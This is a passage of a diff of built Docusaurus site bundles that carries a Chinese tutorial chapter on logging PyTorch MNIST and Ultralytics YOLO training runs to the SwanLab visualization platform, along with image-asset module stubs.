xMCdkpKiqRnJRKJoLe3F+fPnxeXvfzyy5LW8/Lly8XJZ8L5pbOzE2lpacjNzUVWVhYikQg6Ojok5x8y+36x2F+vyTAMGhoaJPfIPk6i742OZyozb+fD417PUyWnXBUVFXA6nZL7uQkhZKZNu4X9uON5Hl6v97G9tUC4N3qhe9zrearilauiokK8NS07OxsGgwE8z+PLL7+cr2wSQn4GFn0Lm5CZFv3c+2AwiFAopPjZ+YQQohQFbEIIIWQBWFSv1ySEEEIWKwrYhBBCyAJAAZsQQghZAChgE0IIIQsABWxCCCFkAZg0YLMsi7q6Oni9XrS1tcV9bKgcZrMZhw8fRltbG9ra2uD1eqf8Puja2lrxEY82mw1tbW1z+i5uQgghZD5MGrAdDgeKioomvN5PqX379iEjIwMNDQ1wu90IhUKorq5W/NJ7s9kMu90uefECIYQQ8nMwacBuampCaWkpTp06Na2dvPvuu9i+fTs8Hg98Pp/44oKNGzcqSkcI8NHvIiaEEEJ+DiYN2DP1oP/YdDIyMqaUjlarBQDFL+AghBBCFrp5mXRWXFwMADhz5oyi76nV6rhvtiGEEEIWuzkP2GazGRaLBa2trYpb8CzLIhQKzVLOCCGEkMfXnL6ty2azYdeuXRgZGcH+/fsVfVd4J6yQDgBx8lleXh4YhqGXLxBCCFm0ZjRg22y2uOPLDMOgsrISdrsdra2tSYN1vHSECWcmkwkmk0myrqysDH19fTS2TQghZNGa9G1dwnt/MzIyYDKZwHEcAoEAhoeH4fF4JNu63W6YTCY0NDRMWNfc3AyVSoVgMIienh7JuoMHD8pOJ5bNZoPL5YLb7aZgTQghZFGbtIVdVFQkuVeaZVmwLAuO4yYE04GBAQDA0NDQhHRUKhWA8VnewkxvQWzAniwdQggh5OeK3odNCCGELAD0LHFCCCFkAaCATQghhCwAFLAJIYSQBYACNiGEELIAUMAmhBBCFgAK2IQQQsgCsKgCts1mQ319veQxpmTmLdZ6nq1y1dTUiI/TJYSQqfo/amEC/LkfZq8AAAAASUVORK5CYII="},38830:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129223221641-e5264b3c6e84323c268690bd59ec0f0f.png"},54849:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129221603529-0356acbc4f9fb437067314df3b997e9e.png"},63275:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234152977-5634203-bdf409199c8fa4669f40fe1cbb125c2f.png"},75931:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129233842493-815d2024432f25884f498a2e72a008dd.png"},77334:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129221123486-5af5fde947170b24cc1a0e6128114096.png"},84628:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234000275-73107f27ca7e92a5b1de64a99dd9ba31.png"},85844:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129215233580-2ae1265359871a80b335075bc9d97c6c.png"},92167:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129220950545-cb59080820e8171a03ab838fdd4850c6.png"},92540:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234013450-5634203-5b926001e24f6dc38a3983f4a36eb9b3.png"}}]); \ No newline at end of file diff --git a/en/assets/js/82e2efaa.0b421afa.js b/en/assets/js/82e2efaa.0b421afa.js new file mode 100644 index 0000000..693398f --- /dev/null +++ b/en/assets/js/82e2efaa.0b421afa.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3443],{1019:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_hello_world-e03d035ee58db79578ebe9d45b94dd5d.png"},28453:(n,e,a)=>{a.d(e,{R:()=>i,x:()=>o});var s=a(96540);const t={},l=s.createContext(t);function i(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:i(n.components),s.createElement(l.Provider,{value:e},n.children)}},39764:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_yolo_2-0fbfa1a29b096b08a664093fb15d4d20.png"},45802:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_mnist_2-3ddd5bbcaa443b245f1cc92a62daf3b4.png"},60893:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_yolo_3-fda63f4a11b2e3a16f6f0ae91c1d5fd2.png"},62223:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_yolo_1-18056c8c541e1065021c7ae3653ea780.png"},69859:(n,e,a)=>{a.r(e),a.d(e,{assets:()=>r,contentTitle:()=>o,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"},"next":{"title":"\u7b2c\u516b\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/"}}');var t=a(74848),l=a(28453);const i={},o="7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md",r={},c=[{value:"7.5.1 SwanLab\u7684\u5b89\u88c5",id:"751-swanlab\u7684\u5b89\u88c5",level:2},{value:"7.5.2 SwanLab\u7684\u57fa\u672c\u4f7f\u7528",id:"752-swanlab\u7684\u57fa\u672c\u4f7f\u7528",level:2},{value:"7.5.3 SwanLab\u8ddf\u8e2aMNIST\u6848\u4f8b",id:"753-swanlab\u8ddf\u8e2amnist\u6848\u4f8b",level:2},{value:"7.5.4 SwanLab\u8ddf\u8e2aYOLO\u6848\u4f8b",id:"754-swanlab\u8ddf\u8e2ayolo\u6848\u4f8b",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"75-\u4f7f\u7528swanlab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0bmd",children:"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"75-\u4f7f\u7528swanlab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b",children:"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4e0a\u4e00\u8282\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u4e86Wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u4f46\u662fWandb\u5c06\u6570\u636e\u5b58\u50a8\u5728\u6d77\u5916\uff0c\u5728\u56fd\u5185\u7684\u7f51\u7edc\u73af\u5883\u4e0b\u8bbf\u95ee\u901f\u5ea6\u8f83\u6162\uff0c\u4e14\u5bb9\u6613\u65ad\u8fde\u3002SwanLab\u662f\u4e00\u4e2a\u7531\u4e2d\u56fd\u56e2\u961f\u5f00\u53d1\u7684\u8bad\u7ec3\u53ef\u89c6\u5316\u5e73\u53f0\uff0c\u56fd\u5185\u8bbf\u95ee\u7a33\u5b9a\u6d41\u7545\uff0c\u5728\u529f\u80fd\u4e0a\u652f\u6301\u81ea\u52a8\u8bb0\u5f55\u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u7684\u8d85\u53c2\u6570\u548c\u8f93\u51fa\u6307\u6807\uff0c\u7136\u540e\u53ef\u89c6\u5316\u548c\u6bd4\u8f83\u7ed3\u679c\uff0c\u5e76\u5feb\u901f\u4e0e\u5176\u4ed6\u4eba\u5171\u4eab\u7ed3\u679c\u3002\u76ee\u524d\u5b83\u8fd8\u652f\u6301\u76d1\u63a7\u6607\u817eNPU\u7684\u8bad\u7ec3\u60c5\u51b5\uff0c\u80fd\u591f\u548cPyTorch\u3001Keras\u3001MMDetection\u3001LLaMA Factory\u3001LightGBM\u3001XGBoost\u7b49\u6846\u67b6\u7ed3\u5408\u4f7f\u7528\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"SwanLab\u7684\u5b89\u88c5"}),"\n",(0,t.jsx)(e.li,{children:"SwanLab\u7684\u57fa\u672c\u4f7f\u7528"}),"\n",(0,t.jsx)(e.li,{children:"SwanLab\u8ddf\u8e2aMNIST\u6848\u4f8b"}),"\n",(0,t.jsx)(e.li,{children:"SwanLab\u8ddf\u8e2aYOLO\u6848\u4f8b"}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"751-swanlab\u7684\u5b89\u88c5",children:"7.5.1 SwanLab\u7684\u5b89\u88c5"}),"\n",(0,t.jsx)(e.p,{children:"SwanLab\u7684\u5b89\u88c5\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528pip\u5b89\u88c5\u5373\u53ef\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-bash",children:"pip install swanlab\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5b89\u88c5\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u9700\u8981\u5728",(0,t.jsx)(e.a,{href:"https://swanlab.cn/",children:"\u5b98\u7f51"}),"\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u5e76\u590d\u5236\u4e0b\u81ea\u5df1\u7684API keys\uff0c\u7136\u540e\u5728\u672c\u5730\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u767b\u5f55\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-bash",children:"swanlab login\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u65f6\uff0c\u6211\u4eec\u4f1a\u770b\u5230\u4e0b\u9762\u7684\u754c\u9762\uff0c\u53ea\u9700\u8981\u7c98\u8d34\u4f60\u7684API keys\u5373\u53ef\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(77973).A+"",width:"1626",height:"78"})}),"\n",(0,t.jsx)(e.h2,{id:"752-swanlab\u7684\u57fa\u672c\u4f7f\u7528",children:"7.5.2 SwanLab\u7684\u57fa\u672c\u4f7f\u7528"}),"\n",(0,t.jsx)(e.p,{children:"SwanLab\u7684\u4f7f\u7528\u4e5f\u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u4ee3\u7801\u4e2d\u6dfb\u52a0\u51e0\u884c\u4ee3\u7801\u5373\u53ef\uff0c\u5927\u6982\u5206\u4e3a\u4e24\u6b65\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u7b2c\u4e00\u6b65\uff0c\u521d\u59cb\u5316\u9879\u76ee\uff1a"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'import swanlab\n\nswanlab.init(project="my-project", experiment_name="first_exp")\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u7684project\u548cexperiment_name\u662f\u4f60\u5728swanlab\u4e0a\u521b\u5efa\u7684\u9879\u76ee\u540d\u79f0\u548c\u5b9e\u9a8c\u540d\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u9879\u76ee\u548c\u5b9e\u9a8c\u7684\u5173\u7cfb\u6709\u70b9\u7c7b\u4f3cPC\u4e2d\u7684\u6587\u4ef6\u5939\u548c\u6587\u4ef6\u7684\u5173\u7cfb\uff0c\u4f60\u7684\u6bcf\u6b21\u8bad\u7ec3\u8fdb\u7a0b\u90fd\u662f\u4e00\u4e2a\u5b9e\u9a8c\uff0c\u800c\u9879\u76ee\u662f\u5b9e\u9a8c\u7684\u96c6\u5408\uff0c\u7528\u6765\u8fdb\u884c\u591a\u4e2a\u5b9e\u9a8c\u4e4b\u95f4\u7684\u5bf9\u6bd4\u4e0e\u7ba1\u7406\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u7b2c\u4e8c\u6b65\uff0c\u8bb0\u5f55\u6570\u636e\uff1a"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'for i in range(10):\n swanlab.log({"loss": 1-0.1*i, "acc": 0.1*i})\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u7684log\u662f\u8bb0\u5f55\u6307\u6807\u7684\u51fd\u6570\uff0c\u5b83\u63a5\u6536\u4e00\u4e2a\u5b57\u5178\uff0c\u5b57\u5178\u7684key\u662f\u6307\u6807\u7684\u540d\u79f0\uff0cvalue\u662f\u6307\u6807\u7684\u503c\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"Hello World\u4ee3\u7801"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'import swanlab\nimport random\n\n# \u521b\u5efa\u4e00\u4e2aSwanLab\u9879\u76ee\nswanlab.init(\n # \u8bbe\u7f6e\u9879\u76ee\u540d\n project="my-awesome-project",\n \n # \u8bbe\u7f6e\u8d85\u53c2\u6570\n config={\n "learning_rate": 0.02,\n "architecture": "CNN",\n "dataset": "CIFAR-100",\n "epochs": 10\n }\n)\n\n# \u6a21\u62df\u4e00\u6b21\u8bad\u7ec3\nepochs = 10\noffset = random.random() / 5\nfor epoch in range(2, epochs):\n acc = 1 - 2 ** -epoch - random.random() / epoch - offset\n loss = 2 ** -epoch + random.random() / epoch + offset\n\n # \u8bb0\u5f55\u8bad\u7ec3\u6307\u6807\n swanlab.log({"acc": acc, "loss": loss})\n\n# [\u53ef\u9009] \u5b8c\u6210\u8bad\u7ec3\uff0c\u8fd9\u5728notebook\u73af\u5883\u4e2d\u662f\u5fc5\u8981\u7684\nswanlab.finish()\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u8fd0\u884c\u5b8c\u4e0a\u9762\u7684\u4ee3\u7801\u540e\uff0c\u5c31\u53ef\u4ee5\u5728swanlab\u7684\u754c\u9762\u770b\u5230\u6211\u4eec\u7684\u8bad\u7ec3\u7ed3\u679c\u4e86\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"swanlab hello world",src:a(1019).A+"",width:"3684",height:"1312"})}),"\n",(0,t.jsx)(e.h2,{id:"753-swanlab\u8ddf\u8e2amnist\u6848\u4f8b",children:"7.5.3 SwanLab\u8ddf\u8e2aMNIST\u6848\u4f8b"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4e00\u4e2aMNSIT\u624b\u5199\u4f53\u8bc6\u522b\u7684demo\u6765\u6f14\u793aSwanLab\u7684\u4f7f\u7528\u3002 ",(0,t.jsx)(e.a,{href:"https://swanlab.cn/@ZeyiLin/MNIST-example/runs/4plp6w0qehoqpt0uq2tcy/chart",children:"\u9884\u89c8\u94fe\u63a5"}),"\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'import os\nimport torch\nfrom torch import nn, optim, utils\nimport torch.nn.functional as F\nimport torchvision\nfrom torchvision.datasets import MNIST\nfrom torchvision.transforms import ToTensor\nimport swanlab\n\n# CNN\u7f51\u7edc\u6784\u5efa\nclass ConvNet(nn.Module):\n def __init__(self):\n super().__init__()\n # 1,28x28\n self.conv1 = nn.Conv2d(1, 10, 5) # 10, 24x24\n self.conv2 = nn.Conv2d(10, 20, 3) # 128, 10x10\n self.fc1 = nn.Linear(20 * 10 * 10, 500)\n self.fc2 = nn.Linear(500, 10)\n\n def forward(self, x):\n in_size = x.size(0)\n out = self.conv1(x) # 24\n out = F.relu(out)\n out = F.max_pool2d(out, 2, 2) # 12\n out = self.conv2(out) # 10\n out = F.relu(out)\n out = out.view(in_size, -1)\n out = self.fc1(out)\n out = F.relu(out)\n out = self.fc2(out)\n out = F.log_softmax(out, dim=1)\n return out\n\n\n# \u6355\u83b7\u5e76\u53ef\u89c6\u5316\u524d20\u5f20\u56fe\u50cf\ndef log_images(loader, num_images=16):\n images_logged = 0\n logged_images = []\n for images, labels in loader:\n # images: batch of images, labels: batch of labels\n for i in range(images.shape[0]):\n if images_logged < num_images:\n # \u4f7f\u7528swanlab.Image\u5c06\u56fe\u50cf\u8f6c\u6362\u4e3awandb\u53ef\u89c6\u5316\u683c\u5f0f\n logged_images.append(swanlab.Image(images[i], caption=f"Label: {labels[i]}"))\n images_logged += 1\n else:\n break\n if images_logged >= num_images:\n break\n swanlab.log({"MNIST-Preview": logged_images})\n \n\ndef train(model, device, train_dataloader, optimizer, criterion, epoch, num_epochs):\n model.train()\n # 1. \u5faa\u73af\u8c03\u7528train_dataloader\uff0c\u6bcf\u6b21\u53d6\u51fa1\u4e2abatch_size\u7684\u56fe\u50cf\u548c\u6807\u7b7e\n for iter, (inputs, labels) in enumerate(train_dataloader):\n inputs, labels = inputs.to(device), labels.to(device)\n optimizer.zero_grad()\n # 2. \u4f20\u5165\u5230resnet18\u6a21\u578b\u4e2d\u5f97\u5230\u9884\u6d4b\u7ed3\u679c\n outputs = model(inputs)\n # 3. \u5c06\u7ed3\u679c\u548c\u6807\u7b7e\u4f20\u5165\u635f\u5931\u51fd\u6570\u4e2d\u8ba1\u7b97\u4ea4\u53c9\u71b5\u635f\u5931\n loss = criterion(outputs, labels)\n # 4. \u6839\u636e\u635f\u5931\u8ba1\u7b97\u53cd\u5411\u4f20\u64ad\n loss.backward()\n # 5. \u4f18\u5316\u5668\u6267\u884c\u6a21\u578b\u53c2\u6570\u66f4\u65b0\n optimizer.step()\n print(\'Epoch [{}/{}], Iteration [{}/{}], Loss: {:.4f}\'.format(epoch, num_epochs, iter + 1, len(train_dataloader),\n loss.item()))\n # 6. \u6bcf20\u6b21\u8fed\u4ee3\uff0c\u7528SwanLab\u8bb0\u5f55\u4e00\u4e0bloss\u7684\u53d8\u5316\n if iter % 20 == 0:\n swanlab.log({"train/loss": loss.item()})\n\ndef test(model, device, val_dataloader, epoch):\n model.eval()\n correct = 0\n total = 0\n with torch.no_grad():\n # 1. \u5faa\u73af\u8c03\u7528val_dataloader\uff0c\u6bcf\u6b21\u53d6\u51fa1\u4e2abatch_size\u7684\u56fe\u50cf\u548c\u6807\u7b7e\n for inputs, labels in val_dataloader:\n inputs, labels = inputs.to(device), labels.to(device)\n # 2. \u4f20\u5165\u5230resnet18\u6a21\u578b\u4e2d\u5f97\u5230\u9884\u6d4b\u7ed3\u679c\n outputs = model(inputs)\n # 3. \u83b7\u5f97\u9884\u6d4b\u7684\u6570\u5b57\n _, predicted = torch.max(outputs, 1)\n total += labels.size(0)\n # 4. \u8ba1\u7b97\u4e0e\u6807\u7b7e\u4e00\u81f4\u7684\u9884\u6d4b\u7ed3\u679c\u7684\u6570\u91cf\n correct += (predicted == labels).sum().item()\n \n # 5. \u5f97\u5230\u6700\u7ec8\u7684\u6d4b\u8bd5\u51c6\u786e\u7387\n accuracy = correct / total\n # 6. \u7528SwanLab\u8bb0\u5f55\u4e00\u4e0b\u51c6\u786e\u7387\u7684\u53d8\u5316\n swanlab.log({"val/accuracy": accuracy}, step=epoch)\n \n\nif __name__ == "__main__":\n\n #\u68c0\u6d4b\u662f\u5426\u652f\u6301mps\n try:\n use_mps = torch.backends.mps.is_available()\n except AttributeError:\n use_mps = False\n\n #\u68c0\u6d4b\u662f\u5426\u652f\u6301cuda\n if torch.cuda.is_available():\n device = "cuda"\n elif use_mps:\n device = "mps"\n else:\n device = "cpu"\n\n # \u521d\u59cb\u5316swanlab\n run = swanlab.init(\n project="MNIST-example",\n experiment_name="PlainCNN",\n config={\n "model": "ResNet18",\n "optim": "Adam",\n "lr": 1e-4,\n "batch_size": 256,\n "num_epochs": 10,\n "device": device,\n },\n )\n\n # \u8bbe\u7f6eMNIST\u8bad\u7ec3\u96c6\u548c\u9a8c\u8bc1\u96c6\n dataset = MNIST(os.getcwd(), train=True, download=True, transform=ToTensor())\n train_dataset, val_dataset = utils.data.random_split(dataset, [55000, 5000])\n\n train_dataloader = utils.data.DataLoader(train_dataset, batch_size=run.config.batch_size, shuffle=True)\n val_dataloader = utils.data.DataLoader(val_dataset, batch_size=8, shuffle=False)\n \n # \uff08\u53ef\u9009\uff09\u770b\u4e00\u4e0b\u6570\u636e\u96c6\u7684\u524d16\u5f20\u56fe\u50cf\n log_images(train_dataloader, 16)\n\n # \u521d\u59cb\u5316\u6a21\u578b\n model = ConvNet()\n model.to(torch.device(device))\n\n # \u6253\u5370\u6a21\u578b\n print(model)\n\n # \u5b9a\u4e49\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.Adam(model.parameters(), lr=run.config.lr)\n\n # \u5f00\u59cb\u8bad\u7ec3\u548c\u6d4b\u8bd5\u5faa\u73af\n for epoch in range(1, run.config.num_epochs+1):\n swanlab.log({"train/epoch": epoch}, step=epoch)\n train(model, device, train_dataloader, optimizer, criterion, epoch, run.config.num_epochs)\n if epoch % 2 == 0: \n test(model, device, val_dataloader, epoch)\n\n # \u4fdd\u5b58\u6a21\u578b\n # \u5982\u679c\u4e0d\u5b58\u5728checkpoint\u6587\u4ef6\u5939\uff0c\u5219\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a\n if not os.path.exists("checkpoint"):\n os.makedirs("checkpoint")\n torch.save(model.state_dict(), \'checkpoint/latest_checkpoint.pth\')\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd0\u884c\u4ee3\u7801\u540e\uff0c\u6211\u4eec\u67e5\u770b\u5b9e\u9a8c\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(94785).A+"",width:"1952",height:"1512"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(45802).A+"",width:"2912",height:"858"})}),"\n",(0,t.jsx)(e.h2,{id:"754-swanlab\u8ddf\u8e2ayolo\u6848\u4f8b",children:"7.5.4 SwanLab\u8ddf\u8e2aYOLO\u6848\u4f8b"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4e00\u4e2aUltralytics\u6846\u67b6\u8bad\u7ec3Yolo\u6a21\u578b\u7684demo\u6765\u6f14\u793aSwanLab\u7684\u4f7f\u7528\u3002 ",(0,t.jsx)(e.a,{href:"https://swanlab.cn/@ZeyiLin/ultratest/runs/yux7vclmsmmsar9ear7u5/chart",children:"\u9884\u89c8\u94fe\u63a5"}),"\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'from ultralytics import YOLO\nfrom swanlab.integration.ultralytics import add_swanlab_callback\n\n\nif __name__ == "__main__":\n model = YOLO("yolov8n.yaml")\n model.load()\n # \u6dfb\u52a0swanlab\u56de\u8c03\n add_swanlab_callback(model)\n\n model.train(\n data="./coco128.yaml",\n epochs=3, \n imgsz=320,\n )\n'})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(62223).A+"",width:"2898",height:"1492"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(39764).A+"",width:"2904",height:"1472"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(60893).A+"",width:"2882",height:"1302"})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f7f\u7528swanlab\u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\u548c\u5728\u7ebf\u67e5\u770b\u5b9e\u9a8c\u8fdb\u5c55\u3002\u66f4\u591a\u529f\u80fd\u8bf7\u89c1",(0,t.jsx)(e.a,{href:"https://docs.swanlab.cn/guide_cloud/general/what-is-swanlab.html",children:"\u5b98\u65b9\u6587\u6863"}),"\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}},77973:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_login-6da8ac9a321f6267acc3ac4fba5bc134.png"},94785:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_mnist_1-1fc246f048c3d00c9fac3a7cd2c4e010.png"}}]); \ No newline at end of file diff --git a/en/assets/js/83598282.4283bda6.js b/en/assets/js/83598282.4283bda6.js new file mode 100644 index 0000000..d9816e4 --- /dev/null +++ b/en/assets/js/83598282.4283bda6.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7058],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},43074:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>h,frontMatter:()=>c,metadata:()=>s,toc:()=>a});const 